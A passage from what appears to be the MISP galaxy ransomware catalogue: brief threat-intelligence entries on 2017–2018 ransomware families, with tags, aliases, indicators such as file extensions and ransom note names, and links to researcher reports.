Table 4011. Table References
Links
http://id-ransomware.blogspot.com/2018/03/bansomqarewanna-ransomware.html

Haxerboi Ransomware

The tag is: misp-galaxy:ransomware="Haxerboi Ransomware"

SkyFile

The tag is: misp-galaxy:ransomware="SkyFile"

Table 4012. Table References
Links
https://twitter.com/malwrhunterteam/status/982229994364547073
http://id-ransomware.blogspot.com/2018/04/skyfile-ransomware.html

MC Ransomware

Supposed joke ransomware, decrypt when running an exectable with the string "Minecraft"

The tag is: misp-galaxy:ransomware="MC Ransomware"

Table 4013. Table References
Links
https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/

CSGO Ransomware

Supposed joke ransomware, decrypt when running an exectable with the string "csgo"

The tag is: misp-galaxy:ransomware="CSGO Ransomware"

Table 4014. Table References
Links
https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/

XiaoBa ransomware

The tag is: misp-galaxy:ransomware="XiaoBa ransomware"

Table 4015. Table References
Links
https://www.bleepingcomputer.com/news/security/xiaoba-ransomware-retooled-as-coinminer-but-manages-to-ruin-your-files-anyway/
https://twitter.com/malwrhunterteam/status/923847744137154560
https://twitter.com/struppigel/status/926748937477939200
https://twitter.com/demonslay335/status/968552114787151873
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/malwrhunterteam/status/1004048636530094081
https://id-ransomware.blogspot.com/2017/10/xiaoba-ransomware.html

NMCRYPT Ransomware

The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.

The tag is: misp-galaxy:ransomware="NMCRYPT Ransomware"

Table 4016. Table References
Links
https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/
https://www.enigmasoftware.com/nmcryptansomware-removal/

Iron

It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example. We know the Iron ransomware has mimicked at least three ransomware families:Maktub (payment portal design) DMA Locker (Iron Unlocker, decryption tool) Satan (exclusion list)

The tag is: misp-galaxy:ransomware="Iron"

Table 4017. Table References
Links
https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html
http://id-ransomware.blogspot.com/2018/04/ironlocker-ransomware.html

Tron ransomware

The tag is: misp-galaxy:ransomware="Tron ransomware"

Table 4018. Table References
Links
https://twitter.com/malwrhunterteam/status/985152346773696512
http://id-ransomware.blogspot.com/2018/04/tron-ransomware.html

Unnamed ramsomware 1

A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compiles an embedded encrypted C# program at runtime and launches it directly into memory.

The tag is: misp-galaxy:ransomware="Unnamed ramsomware 1"

Table 4019. Table References
Links
https://www.bleepingcomputer.com/news/security/new-c-ransomware-compiles-itself-at-runtime/

HPE iLO 4 Ransomware

Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again. According to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim’s was different from other reported ones. An interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim’s are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims. Finally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from "stealing" another victim’s payment and using it to unlock their computer. In a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.

The tag is: misp-galaxy:ransomware="HPE iLO 4 Ransomware"

Table 4020. Table References
Links
https://www.bleepingcomputer.com/news/security/ransomware-hits-hpe-ilo-remote-management-interfaces/
https://twitter.com/M_Shahpasandi/status/989157283799162880
https://id-ransomware.blogspot.com/2018/04/hpe-ilo-ransomware.html

Sigrun Ransomware

When Sigrun is executed it will first check "HKEY_CURRENT_USER\Keyboard Layout\Preload" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders.

The tag is: misp-galaxy:ransomware="Sigrun Ransomware"

Table 4021. Table References
Links
https://www.bleepingcomputer.com/news/security/sigrun-ransomware-author-decrypting-russian-victims-for-free/
http://id-ransomware.blogspot.com/2018/05/sigrun-ransomware.html

CryBrazil

Mostly Hidden Tear with some codes from Eda2 & seems compiled w/ Italian VS. Maybe related to OpsVenezuela?

The tag is: misp-galaxy:ransomware="CryBrazil"

Table 4022. Table References
Links
https://twitter.com/malwrhunterteam/status/1002953824590614528
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://id-ransomware.blogspot.com/2018/06/crybrazil-ransomware.html

Pedcont

new destrucrtive ransomware called Pedcont that claims to encrypt files because the victim has accessed illegal content on the deep web. The screen then goes blank and becomes unresponsive.

The tag is: misp-galaxy:ransomware="Pedcont"

Table 4023. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/ [https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/ ]
http://id-ransomware.blogspot.com/2018/06/pedcont-ransomware.html

DiskDoctor

new Scarab Ransomware variant called DiskDoctor that appends the .DiskDoctor extension and drops a ransom note named HOW TO RECOVER ENCRYPTED FILES.TXT

The tag is: misp-galaxy:ransomware="DiskDoctor"

DiskDoctor is also known as:

Scarab-DiskDoctor

Table 4024. Table References
Links
https://id-ransomware.blogspot.com/2018/06/scarab-diskdoctor-ransomware.html
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/

RedEye

Jakub Kroustek discovered the RedEye Ransomware, which appends the .RedEye extension and wipes the contents of the files. RedEye can also rewrite the MBR with a screen that gives authors contact info and YouTube channel. Bart also wrote an article on this ransomware detailing how it works and what it does on a system.The ransomware author contacted BleepingComputer and told us that this ransomware was never intended for distribution and was created just for fun.

The tag is: misp-galaxy:ransomware="RedEye"

Table 4025. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/JakubKroustek/status/1004463935905509376
https://bartblaze.blogspot.com/2018/06/redeye-ransomware-theres-more-than.html
https://id-ransomware.blogspot.com/2018/06/redeye-ransomware.html

Aurora Ransomware

Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.

The tag is: misp-galaxy:ransomware="Aurora Ransomware"

Aurora Ransomware is also known as:

Zorro Ransomware

Table 4026. Table References
Links
https://www.spamfighter.com/News-21588-Aurora-Ransomware-Circulating-the-Cyber-Space.htm
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/
https://twitter.com/demonslay335/status/1004435398687379456
https://www.bleepingcomputer.com/news/security/aurora-zorro-ransomware-actively-being-distributed/
https://id-ransomware.blogspot.com/2018/05/aurora-ransomware.html

PGPSnippet Ransomware

The tag is: misp-galaxy:ransomware="PGPSnippet Ransomware"

Table 4027. Table References
Links
https://twitter.com/demonslay335/status/1005138187621191681

Spartacus Ransomware

The tag is: misp-galaxy:ransomware="Spartacus Ransomware"

Table 4028. Table References
Links
https://twitter.com/demonslay335/status/1005136022282428419
https://id-ransomware.blogspot.com/2018/04/spartacus-ransomware.html

Donut

S!Ri found a new ransomware called Donut that appends the .donut extension and uses the email donutmmm@tutanota.com.

The tag is: misp-galaxy:ransomware="Donut"

Table 4029. Table References
Links
https://twitter.com/siri_urz/status/1005438610806583296
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-15th-2018-dbger-scarab-and-more/
http://id-ransomware.blogspot.com/2018/06/donut-ransomware.html

NemeS1S Ransomware

Ransomware as a Service

The tag is: misp-galaxy:ransomware="NemeS1S Ransomware"

Table 4030. Table References
Links
https://twitter.com/Damian1338B/status/1005411102660923392
https://www.bleepingcomputer.com/news/security/nemes1s-raas-is-padcrypt-ransomwares-affiliate-system/
https://id-ransomware.blogspot.com/2017/01/nemesis-ransomware.html

Paradise Ransomware

MalwareHunterTeam discovered a new Paradise Ransomware variant that uses the extension _V.0.0.0.1{paradise@all-ransomware.info}.prt and drops a ransom note named PARADISE_README_paradise@all-ransomware.info.txt.

The tag is: misp-galaxy:ransomware="Paradise Ransomware"

Table 4031. Table References
Links
https://twitter.com/malwrhunterteam/status/1005420103415017472
https://twitter.com/malwrhunterteam/status/993499349199056897
http://id-ransomware.blogspot.com/2017/09/paradise-ransomware.html

B2DR Ransomware

uses the .reycarnasi1983@protonmail.com.gw3w amd a ransom note named ScrewYou.txt

The tag is: misp-galaxy:ransomware="B2DR Ransomware"

Table 4032. Table References
Links
https://twitter.com/demonslay335/status/1006220895302705154
https://id-ransomware.blogspot.com/2018/03/b2dr-ransomware.html

YYTO Ransomware

uses the extension .codyprince92@mail.com.ovgm and drops a ransom note named Readme.txt

The tag is: misp-galaxy:ransomware="YYTO Ransomware"

Table 4033. Table References
Links
https://twitter.com/demonslay335/status/1006237353474756610
http://id-ransomware.blogspot.com/2017/05/yyto-ransomware.html

Unnamed ramsomware 2

The tag is: misp-galaxy:ransomware="Unnamed ramsomware 2"

Table 4034. Table References
Links
https://twitter.com/demonslay335/status/1007334654918250496

Everbe Ransomware

The tag is: misp-galaxy:ransomware="Everbe Ransomware"

Table 4035. Table References
Links
https://www.bleepingcomputer.com/news/security/decryptor-released-for-the-everbe-ransomware/
https://twitter.com/malwrhunterteam/status/1065675918000234497
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
http://id-ransomware.blogspot.com/2018/03/everbe-ransomware.html

DirCrypt

The tag is: misp-galaxy:ransomware="DirCrypt"

DirCrypt has relationships with:

similar: misp-galaxy:malpedia="DirCrypt" with estimative-language:likelihood-probability="likely"

Table 4036. Table References
Links
https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/

DBGer Ransomware

The authors of the Satan ransomware have rebranded their "product" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new version earlier today. The change was not only in name but also in the ransomware’s modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan’s modus operandi.

The tag is: misp-galaxy:ransomware="DBGer Ransomware"

Table 4037. Table References
Links
https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/
http://id-ransomware.blogspot.com/2018/06/dbger-ransomware.html

RASTAKHIZ

Hidden Tear variant discovered in October 2016. After activation, provides victims with an unlimited amount of time to gather the requested ransom money and pay it. Related unlock keys and the response sent to and from a Gmail addres

The tag is: misp-galaxy:ransomware="RASTAKHIZ"

Table 4038. Table References
Links
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]
https://id-ransomware.blogspot.com/2017/11/rastakhiz-ransomware.html

TYRANT

DUMB variant discovered on November 16, 2017. Disguised itself as a popular virtual private network (VPN) in Iran known as Psiphon and infected Iranian users. Included Farsi-language ransom note, decryptable in the same way as previous DUMB-based variants. Message requested only US$15 for unlock key. Advertised two local and Iran-based payment processors: exchange.ir and webmoney.ir.Shared unique and specialized indicators with RASTAKHIZ; iDefense threat intelligence analysts believe this similarity confirms that the same actor was behind the repurposing of both types of ransomware.

The tag is: misp-galaxy:ransomware="TYRANT"

TYRANT is also known as:

Crypto Tyrant

Table 4039. Table References
Links
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]
http://id-ransomware.blogspot.com/2017/10/tyrant-ransomware.html

WannaSmile

zCrypt variant discovered on November 17, 2017, one day after the discovery of TYRANT. Used Farsi-language ransom note asking for a staggering 20 Bitcoin ransom payment. Also advertised local Iran-based payment processors and exchanges—www.exchangeing[.]ir, www.payment24[.]ir, www.farhadexchange.net, and www.digiarz.com)—through which Bitcoins could be acquired.

The tag is: misp-galaxy:ransomware="WannaSmile"

Table 4040. Table References
Links
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]
https://id-ransomware.blogspot.com/2017/11/wannasmile-ransomware.html

Unnamed Android Ransomware

Uses APK Editor Pro. Picks and activates DEX>Smali from APK Editor. Utilizes LockService application and edits the “const-string v4, value” to a desired unlock key. Changes contact information within the ransom note. Once the victim has downloaded the malicious app, the only way to recover its content is to pay the ransom and receive the unlock key.

The tag is: misp-galaxy:ransomware="Unnamed Android Ransomware"

Table 4041. Table References
Links
https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf[https://www.accenture.com/t20180803T064557Zw/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf]

KEYPASS

A new distribution campaign is underway for a STOP Ransomware variant called KeyPass based on the amount of victims that have been seen. Unfortunately, how the ransomware is being distributed is unknown at this time.

The tag is: misp-galaxy:ransomware="KEYPASS"

KEYPASS is also known as:

KeyPass

Table 4042. Table References
Links
https://www.bleepingcomputer.com/news/security/new-keypass-ransomware-campaign-underway/
https://www.kaspersky.com/blog/keypass-ransomware/23447/

STOP Ransomware

Emmanuel_ADC-Soft found a new STOP Ransomware variant that appends the .INFOWAIT extension and drops a ransom note named !readme.txt.

The tag is: misp-galaxy:ransomware="STOP Ransomware"

Table 4043. Table References
Links
https://twitter.com/Emm_ADC_Soft/status/1064459080016760833
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/MarceloRivero/status/1065694365056679936
http://id-ransomware.blogspot.com/2017/12/stop-ransomware.html

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware

A new ransomware that only encrypts .EXE files on a computer. It then displays a screen with a picture of President Obama that asks for a "tip" to decrypt the files.

The tag is: misp-galaxy:ransomware="Barack Obama’s Everlasting Blue Blackmail Virus Ransomware"

Barack Obama’s Everlasting Blue Blackmail Virus Ransomware is also known as:

Barack Obama’s Blackmail Virus Ransomware

Table 4044. Table References
Links
https://twitter.com/malwrhunterteam/status/1032242391665790981
https://www.bleepingcomputer.com/news/security/barack-obamas-blackmail-virus-ransomware-only-encrypts-exe-files/
https://id-ransomware.blogspot.com/2018/08/barack-obamas-ransomware.html

CryptoNar

When the CryptoNar, or Crypto Nar, Ransomware encrypts a victims files it will perform the encryption differently depending on the type of file being encrypted. If the targeted file has a .txt or .md extension, it will encrypt the entire file and append the .fully.cryptoNar extension to the encrypted file’s name. All other files will only have the first 1,024 bytes encrypted and will have the .partially.cryptoNar extensions appended to the file’s name.

The tag is: misp-galaxy:ransomware="CryptoNar"

CryptoNar has relationships with:

similar: misp-galaxy:ransomware="CryptoJoker" with estimative-language:likelihood-probability="likely"

Table 4045. Table References
Links
https://www.bleepingcomputer.com/news/security/cryptonar-ransomware-discovered-and-quickly-decrypted/
https://twitter.com/malwrhunterteam/status/1034492151541977088
https://id-ransomware.blogspot.com/2018/08/cryptonar-ransomware.html

CreamPie Ransomware

Jakub Kroustek found what appears to be an in-dev version of the CreamPie Ransomware. It does not currently display a ransom note, but does encrypt files and appends the .[backdata@cock.li].CreamPie extension to them.

The tag is: misp-galaxy:ransomware="CreamPie Ransomware"

Table 4046. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/JakubKroustek/status/1033656080839139333
https://id-ransomware.blogspot.com/2018/08/creampie-ransomware.html

Jeff the Ransomware

Looks to be in-development as it does not encrypt.

The tag is: misp-galaxy:ransomware="Jeff the Ransomware"

Table 4047. Table References
Links
https://twitter.com/leotpsc/status/1033625496003731458
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Cassetto Ransomware

Michael Gillespie saw an encrypted file uploaded to ID Ransomware that appends the .cassetto extension and drops a ransom note named IMPORTANT ABOUT DECRYPT.txt.

The tag is: misp-galaxy:ransomware="Cassetto Ransomware"

Table 4048. Table References
Links
https://twitter.com/demonslay335/status/1034213399922524160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://id-ransomware.blogspot.com/2018/08/cassetto-ransomware.html

Acroware Cryptolocker Ransomware

Leo discovered a screenlocker that calls itself Acroware Cryptolocker Ransomware. It does not encrypt.

The tag is: misp-galaxy:ransomware="Acroware Cryptolocker Ransomware"

Acroware Cryptolocker Ransomware is also known as:

Acroware Screenlocker

Table 4049. Table References
Links
https://twitter.com/leotpsc/status/1034346447112679430
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

Termite Ransomware

Ben Hunter discovered a new ransomware called Termite Ransomware. When encrypting a computer it will append the .aaaaaa extension to encrypted files.

The tag is: misp-galaxy:ransomware="Termite Ransomware"

Table 4050. Table References
Links
https://twitter.com/B_H101/status/1034379267956715520
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/

PICO Ransomware

S!Ri found a new Thanatos Ransomware variant called PICO Ransomware. This ransomware will append the .PICO extension to encrypted files and drop a ransom note named README.txt.

The tag is: misp-galaxy:ransomware="PICO Ransomware"

PICO Ransomware is also known as:

Pico Ransomware

Table 4051. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/
https://twitter.com/siri_urz/status/1035138577934557184

Sigma Ransomware

Today one of our volunteers, Aura, told me about a new new malspam campaign pretending to be from Craigslist that is under way and distributing the Sigma Ransomware. These spam emails contain password protected Word or RTF documents that download the Sigma Ransomware executable from a remote site and install it on a recipients computer.

The tag is: misp-galaxy:ransomware="Sigma Ransomware"

Table 4052. Table References
Links
https://www.bleepingcomputer.com/news/security/sigma-ransomware-being-distributed-using-fake-craigslist-malspam/

Crypt0saur

The tag is: misp-galaxy:ransomware="Crypt0saur"

Mongo Lock

An attack called Mongo Lock is targeting remotely accessible and unprotected MongoDB databases, wiping them, and then demanding a ransom in order to get the contents back. While this new campaign is using a name to identify itself, these types of attacks are not new and MongoDB databases have been targeted for a while now. These hijacks work by attackers scanning the Internet or using services such as Shodan.io to search for unprotected MongoDB servers. Once connected, the attackers may export the databases, delete them, and then create a ransom note explaining how to get the databases back.

The tag is: misp-galaxy:ransomware="Mongo Lock"

Table 4053. Table References
Links
https://www.bleepingcomputer.com/news/security/mongo-lock-attack-ransoming-deleted-mongodb-databases/

Kraken Cryptor Ransomware

The Kraken Cryptor Ransomware is a newer ransomware that was released in August 2018. A new version, called Kraken Cryptor 1.5, was recently released that is masquerading as the legitimate SuperAntiSpyware anti-malware program in order to trick users into installing it.

The tag is: misp-galaxy:ransomware="Kraken Cryptor Ransomware"

Table 4054. Table References
Links
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-now-installing-the-kraken-cryptor-ransomware/
https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/
https://twitter.com/MarceloRivero/status/1059575186117328898
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

SAVEfiles

The tag is: misp-galaxy:ransomware="SAVEfiles"

Table 4055. Table References
Links
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-pushing-the-savefiles-ransomware/

File-Locker

The File-Locker Ransomware is a Hidden Tear variant that is targeting victims in Korea. When victim’s are infected it will leave a ransom requesting 50,000 Won, or approximately 50 USD, to get the files back. This ransomware uses AES encryption with a static password of "dnwls07193147", so it is easily decryptable.

The tag is: misp-galaxy:ransomware="File-Locker"

Table 4056. Table References
Links
https://www.bleepingcomputer.com/news/security/file-locker-ransomware-targets-korean-victims-and-asks-for-50k-won/

CommonRansom

A new ransomware called CommonRansom was discovered that has a very bizarre request. In order to decrypt a computer after a payment is made, they require the victim to open up Remote Desktop Services on the affected computer and send them admin credentials in order to decrypt the victim’s files.

The tag is: misp-galaxy:ransomware="CommonRansom"

Table 4057. Table References
Links
https://www.bleepingcomputer.com/news/security/commonransom-ransomware-demands-rdp-access-to-decrypt-files/

God Crypt Joke Ransomware

MalwareHunterTeam found a new ransomware called God Crypt that does not appear to decrypt and appears to be a joke ransomware. Has an unlock code of 29b579fb811f05c3c334a2bd2646a27a.

The tag is: misp-galaxy:ransomware="God Crypt Joke Ransomware"

God Crypt Joke Ransomware is also known as:

Godsomware v1.0
Ransomware God Crypt

Table 4058. Table References
Links
https://twitter.com/malwrhunterteam/status/1048616343975682048
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/

DecryptFox Ransomware

Michael Gillespie found a new ransomware uploaded to ID Ransomware that appends the .encr extension and drops a ransom note named readmy.txt.

The tag is: misp-galaxy:ransomware="DecryptFox Ransomware"

Table 4059. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://twitter.com/demonslay335/status/1049325784979132417

garrantydecrypt

Michael Gillespie found a new ransomware that appends the .garrantydecrypt extension and drops a ransom note named RECOVERY_FILES.txt

The tag is: misp-galaxy:ransomware="garrantydecrypt"

Table 4060. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-12th-2018-notpetya-gandcrab-and-more/
https://www.bleepingcomputer.com/news/security/ransomware-pretends-to-be-proton-security-team-securing-data-from-hackers/

MVP Ransomware

Siri discovered a new ransomware that is appending the .mvp extension to encrypted files.

The tag is: misp-galaxy:ransomware="MVP Ransomware"

Table 4061. Table References
Links
https://twitter.com/siri_urz/status/1039077365039673344
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

StorageCrypter

Michael Gillespie noticed numerous submissions to ID Ransomware from South Korea for the StorageCrypter ransomware. This version is using a new ransom note named read_me_for_recover_your_files.txt.

The tag is: misp-galaxy:ransomware="StorageCrypter"

Table 4062. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/

Rektware

GrujaRS discovered a new ransomware called Rektware that appends the .CQScSFy extension

The tag is: misp-galaxy:ransomware="Rektware"

Table 4063. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-september-14th-2018-kraken-dharma-and-matrix/
https://twitter.com/GrujaRS/status/1040677247735279616

M@r1a ransomware

The tag is: misp-galaxy:ransomware="M@r1a ransomware"

M@r1a ransomware is also known as:

M@r1a
BlackHeart

Table 4064. Table References
Links
https://twitter.com/malwrhunterteam/status/1058775145005887489
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

"prepending (enc) ransomware" (Not an official name)

The tag is: misp-galaxy:ransomware=""prepending (enc) ransomware" (Not an official name)"

Table 4065. Table References
Links
https://twitter.com/demonslay335/status/1059470985055875074
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-9th-2018-mostly-dharma-variants/

PyCL Ransomware

The tag is: misp-galaxy:ransomware="PyCL Ransomware"

Table 4066. Table References
Links
https://twitter.com/demonslay335/status/1060921043957755904

Vapor Ransomware

MalwareHunterTeam discovered the Vapor Ransomware that appends the .Vapor extension to encrypted files. Will delete files if you do not pay in time.

The tag is: misp-galaxy:ransomware="Vapor Ransomware"

Table 4067. Table References
Links
https://twitter.com/malwrhunterteam/status/1063769884608348160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/

EnyBenyHorsuke Ransomware

GrujaRS discovered a new ransomware called EnyBenyHorsuke Ransomware that appends the .Horsuke extension to encrypted files.

The tag is: misp-galaxy:ransomware="EnyBenyHorsuke Ransomware"

Table 4068. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/GrujaRS/status/1063930127610986496

DeLpHiMoRix

The tag is: misp-galaxy:ransomware="DeLpHiMoRix"

DeLpHiMoRix is also known as:

DelphiMorix

Table 4069. Table References
Links
https://twitter.com/petrovic082/status/1065223932637315074
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-23rd-2018-stop-dharma-and-more/
https://twitter.com/demonslay335/status/1066099799705960448

EnyBeny Nuclear Ransomware

@GrujaRS discovered a new in-dev ransomware called EnyBeny Nuclear Ransomware that meant to append the extension .PERSONAL_ID:.Nuclear to encrypted files, but failed due to a bug.

The tag is: misp-galaxy:ransomware="EnyBeny Nuclear Ransomware"

Table 4070. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-30th-2018-indictments-sanctions-and-more/
https://twitter.com/GrujaRS/status/1066799421080461312
https://www.youtube.com/watch?v=_aaFon7FVbc

Lucky Ransomware

Michael Gillespie discovered a new ransomware that renamed encrypted files to "[original].[random].lucky" and drops a ransom note named How_To_Decrypt_My_File.txt.

The tag is: misp-galaxy:ransomware="Lucky Ransomware"

Table 4071. Table References
Links
https://twitter.com/demonslay335/status/1067109661076262913
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-november-30th-2018-indictments-sanctions-and-more/

WeChat Ransom

Over 100,000 thousand computers in China have been infected in just a few days with poorly-written ransomware that encrypts local files and steals credentials for multiple Chinese online services. The crooks show a screen titled UNNAMED1989 and demand the victim a ransom of 110 yuan ($16) in exchange for decrypting the files, payable via Tencent’s WeChat payment service by scanning a QR code.

The tag is: misp-galaxy:ransomware="WeChat Ransom"

WeChat Ransom is also known as:

UNNAMED1989

Table 4072. Table References
Links
https://www.bleepingcomputer.com/news/security/ransomware-infects-100k-pcs-in-china-demands-wechat-payment/
https://www.bleepingcomputer.com/news/security/chinese-police-arrest-dev-behind-unnamed1989-wechat-ransomware/

IsraBye

The tag is: misp-galaxy:ransomware="IsraBye"

Table 4073. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://www.youtube.com/watch?v=QevoUzbqNTQ
https://twitter.com/GrujaRS/status/1070011234521673728

Dablio Ransomware

The tag is: misp-galaxy:ransomware="Dablio Ransomware"

Dablio Ransomware has relationships with:

similar: misp-galaxy:ransomware="HolyCrypt" with estimative-language:likelihood-probability="likely"

Table 4074. Table References
Links
https://twitter.com/struppigel/status/1069905624954269696
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/

Gerber Ransomware 1.0

The tag is: misp-galaxy:ransomware="Gerber Ransomware 1.0"

Table 4075. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://twitter.com/petrovic082/status/1071003939015925760
https://twitter.com/Emm_ADC_Soft/status/1071716275590782976

Gerber Ransomware 3.0

The tag is: misp-galaxy:ransomware="Gerber Ransomware 3.0"

Outsider

The tag is: misp-galaxy:ransomware="Outsider"

Table 4076. Table References
Links
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/
https://twitter.com/GrujaRS/status/1071153192975642630
https://www.youtube.com/watch?v=iB019lDvArs

JungleSec

Uses http://ccrypt.sourceforge.net/ encryption program

The tag is: misp-galaxy:ransomware="JungleSec"

Table 4077. Table References
Links
https://twitter.com/demonslay335/status/1071123090564923393
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-7th-2018-wechat-ransomware-scammers-and-more/

EQ Ransomware

GrujaRS discovered the EQ Ransomware that drops a ransom note named README_BACK_FILES.htm and uses .f**k (censored) as its extension for encrypted files. May be GlobeImposter.

The tag is: misp-galaxy:ransomware="EQ Ransomware"

Table 4078. Table References
Links
https://twitter.com/GrujaRS/status/1071349228172124160
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-14th-2018-slow-week/
https://www.youtube.com/watch?v=uHYY6XZZEw4

Mercury Ransomware

extension ".Mercury", note "!!!READ_IT!!!.txt" with 4 different 64-char hex as ID, 3 of which have dashes. Possible filemarker, same in different victim’s files.

The tag is: misp-galaxy:ransomware="Mercury Ransomware"

Table 4079. Table References
Links
https://twitter.com/demonslay335/status/1072164314608480257

Forma Ransomware

The tag is: misp-galaxy:ransomware="Forma Ransomware"

Table 4080. Table References
Links
